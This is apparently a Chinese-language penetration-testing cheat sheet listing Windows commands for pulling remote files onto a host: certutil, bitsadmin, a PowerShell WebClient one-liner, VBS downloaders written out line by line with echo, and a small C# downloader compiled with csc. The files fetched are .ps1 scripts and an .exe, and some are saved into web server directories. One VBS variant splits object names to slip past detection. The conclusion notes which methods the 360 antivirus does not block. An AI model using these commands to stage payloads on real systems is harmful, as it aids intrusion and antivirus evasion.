前言
在windows的环境下,dos窗口里有以下多个命令支持下载。笔者最常用的有powershell、vbs、certutil、bitadmin等命令。
certutil
certutil -urlcache -split -f http://192.168.203.140/b.ps1
适用于server 2003以上版本
详情参考:
https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)?redirectedfrom=MSDN
bitsadmin
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"
适用于windows 7以上版本。
详情参考:
https://docs.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool?redirectedfrom=MSDN
powershell
powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')
适用于windows 7以上版本。
vbs
第一种把下载地址直接echo输入download.vbs。直接下载即可。
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs
第二种保存脚本后再下载指定文件。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
cscript downfile.vbs http://192.168.203.140/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1
适用于server 2003 以上版本
更多下载命令参考
Windows下载执行命令大全
csc
创建一个下载文件的cs文件
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://192.168.0.101:8000/s.exe";
string receivePath = @"c:\temp\s.exe";
client.DownloadFile(URLAddress, receivePath);
}
}
}
可以命名为txt,也可以命名为cs
需要利用.net来编译为exe文件。
.net 2.0 执行
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc /out:c:\temp\down.exe c:\temp\down.txt
.net 4.0 执行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc /out:c:\temp\down.exe c:\temp\down.txt
再次执行down.exe 即可下载文件。
总结
经过多方测试,vbs不会遭到360拦截,certutil也可能不会拦截。